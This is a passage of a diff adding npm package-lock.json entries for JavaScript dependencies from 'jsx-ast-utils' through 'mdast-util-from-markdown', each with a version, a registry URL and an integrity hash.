+        "jsx-ast-utils": {
+            "version": "3.3.3",
+            "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.3.tgz",
+            "integrity": "sha512-fYQHZTZ8jSfmWZ0iyzfwiU4WDX4HpHbMCZ3gPlWYiCl3BoeOTsqKBqnTVfH2rYT7eP5c3sVbeSPHnnJOaTrWiw==",
+            "requires": {
+                "array-includes": "^3.1.5",
+                "object.assign": "^4.1.3"
+            }
+        },
+        "kebab-case": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/kebab-case/-/kebab-case-1.0.1.tgz",
+            "integrity": "sha512-txPHx6nVLhv8PHGXIlAk0nYoh894SpAqGPXNvbg2hh8spvHXIah3+vT87DLoa59nKgC6scD3u3xAuRIgiMqbfQ=="
+        },
+        "keyv": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz",
+            "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==",
+            "requires": {
+                "json-buffer": "3.0.0"
+            }
+        },
+        "killable": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/killable/-/killable-1.0.1.tgz",
+            "integrity": "sha512-LzqtLKlUwirEUyl/nicirVmNiPvYs7l5n8wOPP7fyJVpUPkvCnW/vuiXGpylGUlnPDnB7311rARzAt3Mhswpjg=="
+        },
+        "kind-of": {
+            "version": "3.2.2",
+            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+            "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+            "requires": {
+                "is-buffer": "^1.1.5"
+            }
+        },
+        "klaw": {
+            "version": "1.3.1",
+            "resolved": "https://registry.npmjs.org/klaw/-/klaw-1.3.1.tgz",
+            "integrity": "sha512-TED5xi9gGQjGpNnvRWknrwAB1eL5GciPfVFOt3Vk1OJCVDQbzuSfrF3hkUQKlsgKrG1F+0t5W0m+Fje1jIt8rw==",
+            "requires": {
+                "graceful-fs": "^4.1.9"
+            }
+        },
+        "kleur": {
+            "version": "4.1.5",
+            "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz",
+            "integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ=="
+        },
+        "language-subtag-registry": {
+            "version": "0.3.22",
+            "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.22.tgz",
+            "integrity": "sha512-tN0MCzyWnoz/4nHS6uxdlFWoUZT7ABptwKPQ52Ea7URk6vll88bWBVhodtnlfEuCcKWNGoc+uGbw1cwa9IKh/w=="
+        },
+        "language-tags": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.5.tgz",
+            "integrity": "sha512-qJhlO9cGXi6hBGKoxEG/sKZDAHD5Hnu9Hs4WbOY3pCWXDhw0N8x1NenNzm2EnNLkLkk7J2SdxAkDSbb6ftT+UQ==",
+            "requires": {
+                "language-subtag-registry": "~0.3.2"
+            }
+        },
+        "last-call-webpack-plugin": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/last-call-webpack-plugin/-/last-call-webpack-plugin-3.0.0.tgz",
+            "integrity": "sha512-7KI2l2GIZa9p2spzPIVZBYyNKkN+e/SQPpnjlTiPhdbDW3F86tdKKELxKpzJ5sgU19wQWsACULZmpTPYHeWO5w==",
+            "requires": {
+                "lodash": "^4.17.5",
+                "webpack-sources": "^1.1.0"
+            }
+        },
+        "latest-version": {
+            "version": "5.1.0",
+            "resolved": "https://registry.npmjs.org/latest-version/-/latest-version-5.1.0.tgz",
+            "integrity": "sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA==",
+            "requires": {
+                "package-json": "^6.3.0"
+            }
+        },
+        "lazy-cache": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-1.0.4.tgz",
+            "integrity": "sha512-RE2g0b5VGZsOCFOCgP7omTRYFqydmZkBwl5oNnQ1lDYC57uyO9KqNnNVxT7COSHTxrRCWVcAVOcbjk+tvh/rgQ=="
+        },
+        "levn": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
+            "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==",
+            "requires": {
+                "prelude-ls": "~1.1.2",
+                "type-check": "~0.3.2"
+            }
+        },
+        "lines-and-columns": {
+            "version": "1.2.4",
+            "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+            "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="
+        },
+        "lmdb": {
+            "version": "2.5.2",
+            "resolved": "https://registry.npmjs.org/lmdb/-/lmdb-2.5.2.tgz",
+            "integrity": "sha512-V5V5Xa2Hp9i2XsbDALkBTeHXnBXh/lEmk9p22zdr7jtuOIY9TGhjK6vAvTpOOx9IKU4hJkRWZxn/HsvR1ELLtA==",
+            "requires": {
+                "@lmdb/lmdb-darwin-arm64": "2.5.2",
+                "@lmdb/lmdb-darwin-x64": "2.5.2",
+                "@lmdb/lmdb-linux-arm": "2.5.2",
+                "@lmdb/lmdb-linux-arm64": "2.5.2",
+                "@lmdb/lmdb-linux-x64": "2.5.2",
+                "@lmdb/lmdb-win32-x64": "2.5.2",
+                "msgpackr": "^1.5.4",
+                "node-addon-api": "^4.3.0",
+                "node-gyp-build-optional-packages": "5.0.3",
+                "ordered-binary": "^1.2.4",
+                "weak-lru-cache": "^1.2.2"
+            }
+        },
+        "load-json-file": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz",
+            "integrity": "sha512-cy7ZdNRXdablkXYNI049pthVeXFurRyb9+hA/dZzerZ0pGTx42z+y+ssxBaVV2l70t1muq5IdKhn4UtcoGUY9A==",
+            "requires": {
+                "graceful-fs": "^4.1.2",
+                "parse-json": "^2.2.0",
+                "pify": "^2.0.0",
+                "pinkie-promise": "^2.0.0",
+                "strip-bom": "^2.0.0"
+            },
+            "dependencies": {
+                "parse-json": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz",
+                    "integrity": "sha512-QR/GGaKCkhwk1ePQNYDRKYZ3mwU9ypsKhB0XyFnLQdomyEqk3e8wpW3V5Jp88zbxK4n5ST1nqo+g9juTpownhQ==",
+                    "requires": {
+                        "error-ex": "^1.2.0"
+                    }
+                },
+                "strip-bom": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz",
+                    "integrity": "sha512-kwrX1y7czp1E69n2ajbG65mIo9dqvJ+8aBQXOGVxqwvNbsXdFM6Lq37dLAY3mknUwru8CfcCbfOLL/gMo+fi3g==",
+                    "requires": {
+                        "is-utf8": "^0.2.0"
+                    }
+                }
+            }
+        },
+        "loadashes6": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/loadashes6/-/loadashes6-1.0.0.tgz",
+            "integrity": "sha512-2UeX69yCIy8rVsPZHnjnaNTvQ8Mh5pMim2SZP3KiZJO/ECmfFuJwF4epHEFOYbZdOmj74bWIxm1H3kCNBsGdSw=="
+        },
+        "loader-fs-cache": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/loader-fs-cache/-/loader-fs-cache-1.0.3.tgz",
+            "integrity": "sha512-ldcgZpjNJj71n+2Mf6yetz+c9bM4xpKtNds4LbqXzU/PTdeAX0g3ytnU1AJMEcTk2Lex4Smpe3Q/eCTsvUBxbA==",
+            "requires": {
+                "find-cache-dir": "^0.1.1",
+                "mkdirp": "^0.5.1"
+            },
+            "dependencies": {
+                "find-cache-dir": {
+                    "version": "0.1.1",
+                    "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-0.1.1.tgz",
+                    "integrity": "sha512-Z9XSBoNE7xQiV6MSgPuCfyMokH2K7JdpRkOYE1+mu3d4BFJtx3GW+f6Bo4q8IX6rlf5MYbLBKW0pjl2cWdkm2A==",
+                    "requires": {
+                        "commondir": "^1.0.1",
+                        "mkdirp": "^0.5.1",
+                        "pkg-dir": "^1.0.0"
+                    }
+                },
+                "find-up": {
+                    "version": "1.1.2",
+                    "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz",
+                    "integrity": "sha512-jvElSjyuo4EMQGoTwo1uJU5pQMwTW5lS1x05zzfJuTIyLR3zwO27LYrxNg+dlvKpGOuGy/MzBdXh80g0ve5+HA==",
+                    "requires": {
+                        "path-exists": "^2.0.0",
+                        "pinkie-promise": "^2.0.0"
+                    }
+                },
+                "path-exists": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz",
+                    "integrity": "sha512-yTltuKuhtNeFJKa1PiRzfLAU5182q1y4Eb4XCJ3PBqyzEDkAZRzBrKKBct682ls9reBVHf9udYLN5Nd+K1B9BQ==",
+                    "requires": {
+                        "pinkie-promise": "^2.0.0"
+                    }
+                },
+                "pkg-dir": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-1.0.0.tgz",
+                    "integrity": "sha512-c6pv3OE78mcZ92ckebVDqg0aWSoKhOTbwCV6qbCWMk546mAL9pZln0+QsN/yQ7fkucd4+yJPLrCBXNt8Ruk+Eg==",
+                    "requires": {
+                        "find-up": "^1.0.0"
+                    }
+                }
+            }
+        },
+        "loader-runner": {
+            "version": "2.4.0",
+            "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.4.0.tgz",
+            "integrity": "sha512-Jsmr89RcXGIwivFY21FcRrisYZfvLMTWx5kOLc+JTxtpBOG6xML0vzbc6SEQG2FO9/4Fc3wW4LVcB5DmGflaRw=="
+        },
+        "loader-utils": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz",
+            "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==",
+            "requires": {
+                "big.js": "^5.2.2",
+                "emojis-list": "^3.0.0",
+                "json5": "^2.1.2"
+            }
+        },
+        "locate-path": {
+            "version": "5.0.0",
+            "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+            "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+            "requires": {
+                "p-locate": "^4.1.0"
+            }
+        },
+        "lock": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/lock/-/lock-1.1.0.tgz",
+            "integrity": "sha1-UxV0mdFlOxNspmRRBx/KYVcD+lU="
+        },
+        "lodash": {
+            "version": "4.17.21",
+            "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+            "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
+        },
+        "lodash._reinterpolate": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz",
+            "integrity": "sha512-xYHt68QRoYGjeeM/XOE1uJtvXQAgvszfBhjV4yvsQH0u2i9I6cI6c6/eG4Hh3UAOVn0y/xAXwmTzEay49Q//HA=="
+        },
+        "lodash.clonedeep": {
+            "version": "4.5.0",
+            "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz",
+            "integrity": "sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ=="
+        },
+        "lodash.debounce": {
+            "version": "4.0.8",
+            "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
+            "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow=="
+        },
+        "lodash.deburr": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/lodash.deburr/-/lodash.deburr-4.1.0.tgz",
+            "integrity": "sha512-m/M1U1f3ddMCs6Hq2tAsYThTBDaAKFDX3dwDo97GEYzamXi9SqUpjWi/Rrj/gf3X2n8ktwgZrlP1z6E3v/IExQ=="
+        },
+        "lodash.every": {
+            "version": "4.6.0",
+            "resolved": "https://registry.npmjs.org/lodash.every/-/lodash.every-4.6.0.tgz",
+            "integrity": "sha512-isF82d+65/sNvQ3aaQAW7LLHnnTxSN/2fm4rhYyuufLzA4VtHz6y6S5vFwe6PQVr2xdqUOyxBbTNKDpnmeu50w=="
+        },
+        "lodash.flatten": {
+            "version": "4.4.0",
+            "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz",
+            "integrity": "sha512-C5N2Z3DgnnKr0LOpv/hKCgKdb7ZZwafIrsesve6lmzvZIRZRGaZ/l6Q8+2W7NaT+ZwO3fFlSCzCzrDCFdJfZ4g=="
+        },
+        "lodash.flattendeep": {
+            "version": "4.4.0",
+            "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz",
+            "integrity": "sha512-uHaJFihxmJcEX3kT4I23ABqKKalJ/zDrDg0lsFtc1h+3uw49SIJ5beyhx5ExVRti3AvKoOJngIj7xz3oylPdWQ=="
+        },
+        "lodash.foreach": {
+            "version": "4.5.0",
+            "resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-4.5.0.tgz",
+            "integrity": "sha512-aEXTF4d+m05rVOAUG3z4vZZ4xVexLKZGF0lIxuHZ1Hplpk/3B6Z1+/ICICYRLm7c41Z2xiejbkCkJoTlypoXhQ=="
+        },
+        "lodash.get": {
+            "version": "4.4.2",
+            "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz",
+            "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ=="
+        },
+        "lodash.isplainobject": {
+            "version": "4.0.6",
+            "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
+            "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA=="
+        },
+        "lodash.isstring": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz",
+            "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw=="
+        },
+        "lodash.map": {
+            "version": "4.6.0",
+            "resolved": "https://registry.npmjs.org/lodash.map/-/lodash.map-4.6.0.tgz",
+            "integrity": "sha512-worNHGKLDetmcEYDvh2stPCrrQRkP20E4l0iIS7F8EvzMqBBi7ltvFN5m1HvTf1P7Jk1txKhvFcmYsCr8O2F1Q=="
+        },
+        "lodash.maxby": {
+            "version": "4.6.0",
+            "resolved": "https://registry.npmjs.org/lodash.maxby/-/lodash.maxby-4.6.0.tgz",
+            "integrity": "sha512-QfTqQTwzmKxLy7VZlbx2M/ipWv8DCQ2F5BI/MRxLharOQ5V78yMSuB+JE+EuUM22txYfj09R2Q7hUlEYj7KdNg=="
+        },
+        "lodash.memoize": {
+            "version": "4.1.2",
+            "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
+            "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag=="
+        },
+        "lodash.template": {
+            "version": "4.5.0",
+            "resolved": "https://registry.npmjs.org/lodash.template/-/lodash.template-4.5.0.tgz",
+            "integrity": "sha512-84vYFxIkmidUiFxidA/KjjH9pAycqW+h980j7Fuz5qxRtO9pgB7MDFTdys1N7A5mcucRiDyEq4fusljItR1T/A==",
+            "requires": {
+                "lodash._reinterpolate": "^3.0.0",
+                "lodash.templatesettings": "^4.0.0"
+            }
+        },
+        "lodash.templatesettings": {
+            "version": "4.2.0",
+            "resolved": "https://registry.npmjs.org/lodash.templatesettings/-/lodash.templatesettings-4.2.0.tgz",
+            "integrity": "sha512-stgLz+i3Aa9mZgnjr/O+v9ruKZsPsndy7qPZOchbqk2cnTU1ZaldKK+v7m54WoKIyxiuMZTKT2H81F8BeAc3ZQ==",
+            "requires": {
+                "lodash._reinterpolate": "^3.0.0"
+            }
+        },
+        "lodash.uniq": {
+            "version": "4.5.0",
+            "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz",
+            "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ=="
+        },
+        "lodash.without": {
+            "version": "4.4.0",
+            "resolved": "https://registry.npmjs.org/lodash.without/-/lodash.without-4.4.0.tgz",
+            "integrity": "sha512-M3MefBwfDhgKgINVuBJCO1YR3+gf6s9HNJsIiZ/Ru77Ws6uTb9eBuvrkpzO+9iLoAaRodGuq7tyrPCx+74QYGQ=="
+        },
+        "loglevel": {
+            "version": "1.8.0",
+            "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.8.0.tgz",
+            "integrity": "sha512-G6A/nJLRgWOuuwdNuA6koovfEV1YpqqAG4pRUlFaz3jj2QNZ8M4vBqnVA+HBTmU/AMNUtlOsMmSpF6NyOjztbA=="
+        },
+        "longest": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz",
+            "integrity": "sha512-k+yt5n3l48JU4k8ftnKG6V7u32wyH2NfKzeMto9F/QRE0amxy/LayxwlvjjkZEIzqR+19IrtFO8p5kB9QaYUFg=="
+        },
+        "longest-streak": {
+            "version": "3.0.1",
+            "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.0.1.tgz",
+            "integrity": "sha512-cHlYSUpL2s7Fb3394mYxwTYj8niTaNHUCLr0qdiCXQfSjfuA7CKofpX2uSwEfFDQ0EB7JcnMnm+GjbqqoinYYg=="
+        },
+        "loose-envify": {
+            "version": "1.4.0",
+            "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
+            "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
+            "requires": {
+                "js-tokens": "^3.0.0 || ^4.0.0"
+            }
+        },
+        "loud-rejection": {
+            "version": "1.6.0",
+            "resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz",
+            "integrity": "sha512-RPNliZOFkqFumDhvYqOaNY4Uz9oJM2K9tC6JWsJJsNdhuONW4LQHRBpb0qf4pJApVffI5N39SwzWZJuEhfd7eQ==",
+            "requires": {
+                "currently-unhandled": "^0.4.1",
+                "signal-exit": "^3.0.0"
+            }
+        },
+        "lower-case": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
+            "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
+            "requires": {
+                "tslib": "^2.0.3"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.4.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+                    "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+                }
+            }
+        },
+        "lowercase-keys": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz",
+            "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA=="
+        },
+        "lru-cache": {
+            "version": "6.0.0",
+            "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+            "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+            "requires": {
+                "yallist": "^4.0.0"
+            }
+        },
+        "lru-queue": {
+            "version": "0.1.0",
+            "resolved": "https://registry.npmjs.org/lru-queue/-/lru-queue-0.1.0.tgz",
+            "integrity": "sha512-BpdYkt9EvGl8OfWHDQPISVpcl5xZthb+XPsbELj5AQXxIC8IriDZIQYjBJPEm5rS420sjZ0TLEzRcq5KdBhYrQ==",
+            "requires": {
+                "es5-ext": "~0.10.2"
+            }
+        },
+        "make-dir": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+            "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+            "requires": {
+                "semver": "^6.0.0"
+            },
+            "dependencies": {
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "make-error": {
+            "version": "1.3.6",
+            "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz",
+            "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw=="
+        },
+        "map-cache": {
+            "version": "0.2.2",
+            "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz",
+            "integrity": "sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg=="
+        },
+        "map-obj": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz",
+            "integrity": "sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg=="
+        },
+        "map-visit": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz",
+            "integrity": "sha512-4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==",
+            "requires": {
+                "object-visit": "^1.0.0"
+            }
+        },
+        "markdown": {
+            "version": "0.5.0",
+            "resolved": "https://registry.npmjs.org/markdown/-/markdown-0.5.0.tgz",
+            "integrity": "sha512-ctGPIcuqsYoJ493sCtFK7H4UEgMWAUdXeBhPbdsg1W0LsV9yJELAHRsMmWfTgao6nH0/x5gf9FmsbxiXnrgaIQ==",
+            "requires": {
+                "nopt": "~2.1.1"
+            }
+        },
+        "markdown-escapes": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/markdown-escapes/-/markdown-escapes-1.0.4.tgz",
+            "integrity": "sha512-8z4efJYk43E0upd0NbVXwgSTQs6cT3T06etieCMEg7dRbzCbxUCK/GHlX8mhHRDcp+OLlHkPKsvqQTCvsRl2cg=="
+        },
+        "markdown-table": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-2.0.0.tgz",
+            "integrity": "sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==",
+            "requires": {
+                "repeat-string": "^1.0.0"
+            }
+        },
+        "marked": {
+            "version": "0.6.1",
+            "resolved": "https://registry.npmjs.org/marked/-/marked-0.6.1.tgz",
+            "integrity": "sha512-+H0L3ibcWhAZE02SKMqmvYsErLo4EAVJxu5h3bHBBDvvjeWXtl92rGUSBYHL2++5Y+RSNgl8dYOAXcYe7lp1fA=="
+        },
+        "math-random": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/math-random/-/math-random-1.0.4.tgz",
+            "integrity": "sha512-rUxjysqif/BZQH2yhd5Aaq7vXMSx9NdEsQcyA07uEzIvxgI7zIr33gGsh+RU0/XjmQpCW7RsVof1vlkvQVCK5A=="
+        },
+        "md5-file": {
+            "version": "5.0.0",
+            "resolved": "https://registry.npmjs.org/md5-file/-/md5-file-5.0.0.tgz",
+            "integrity": "sha512-xbEFXCYVWrSx/gEKS1VPlg84h/4L20znVIulKw6kMfmBUAZNAnF00eczz9ICMl+/hjQGo5KSXRxbL/47X3rmMw=="
+        },
+        "md5.js": {
+            "version": "1.3.5",
+            "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz",
+            "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==",
+            "requires": {
+                "hash-base": "^3.0.0",
+                "inherits": "^2.0.1",
+                "safe-buffer": "^5.1.2"
+            }
+        },
+        "mdast-util-compact": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/mdast-util-compact/-/mdast-util-compact-2.0.1.tgz",
+            "integrity": "sha512-7GlnT24gEwDrdAwEHrU4Vv5lLWrEer4KOkAiKT9nYstsTad7Oc1TwqT2zIMKRdZF7cTuaf+GA1E4Kv7jJh8mPA==",
+            "requires": {
+                "unist-util-visit": "^2.0.0"
+            }
+        },
+        "mdast-util-definitions": {
+            "version": "1.2.5",
+            "resolved": "https://registry.npmjs.org/mdast-util-definitions/-/mdast-util-definitions-1.2.5.tgz",
+            "integrity": "sha512-CJXEdoLfiISCDc2JB6QLb79pYfI6+GcIH+W2ox9nMc7od0Pz+bovcHsiq29xAQY6ayqe/9CsK2VzkSJdg1pFYA==",
+            "requires": {
+                "unist-util-visit": "^1.0.0"
+            },
+            "dependencies": {
+                "unist-util-is": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-3.0.0.tgz",
+                    "integrity": "sha512-sVZZX3+kspVNmLWBPAB6r+7D9ZgAFPNWm66f7YNb420RlQSbn+n8rG8dGZSkrER7ZIXGQYNm5pqC3v3HopH24A=="
+                },
+                "unist-util-visit": {
+                    "version": "1.4.1",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-1.4.1.tgz",
+                    "integrity": "sha512-AvGNk7Bb//EmJZyhtRUnNMEpId/AZ5Ph/KUpTI09WHQuDZHKovQ1oEv3mfmKpWKtoMzyMC4GLBm1Zy5k12fjIw==",
+                    "requires": {
+                        "unist-util-visit-parents": "^2.0.0"
+                    }
+                },
+                "unist-util-visit-parents": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-2.1.2.tgz",
+                    "integrity": "sha512-DyN5vD4NE3aSeB+PXYNKxzGsfocxp6asDc2XXE3b0ekO2BaRUpBicbbUygfSvYfUz1IkmjFR1YF7dPklraMZ2g==",
+                    "requires": {
+                        "unist-util-is": "^3.0.0"
+                    }
+                }
+            }
+        },
+        "mdast-util-from-markdown": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-1.2.0.tgz",
+            "integrity": "sha512-iZJyyvKD1+K7QX1b5jXdE7Sc5dtoTry1vzV28UZZe8Z1xVnB/czKntJ7ZAkG0tANqRnBF6p3p7GpU1y19DTf2Q==",
+            "requires": {
+                "@types/mdast": "^3.0.0",
+                "@types/unist": "^2.0.0",
+                "decode-named-character-reference": "^1.0.0",
+                "mdast-util-to-string": "^3.1.0",
+                "micromark": "^3.0.0",
+                "micromark-util-decode-numeric-character-reference": "^1.0.0",
+                "micromark-util-decode-string": "^1.0.0",
+                "micromark-util-normalize-identifier": "^1.0.0",
+                "micromark-util-symbol": "^1.0.0",
+                "micromark-util-types": "^1.0.0",
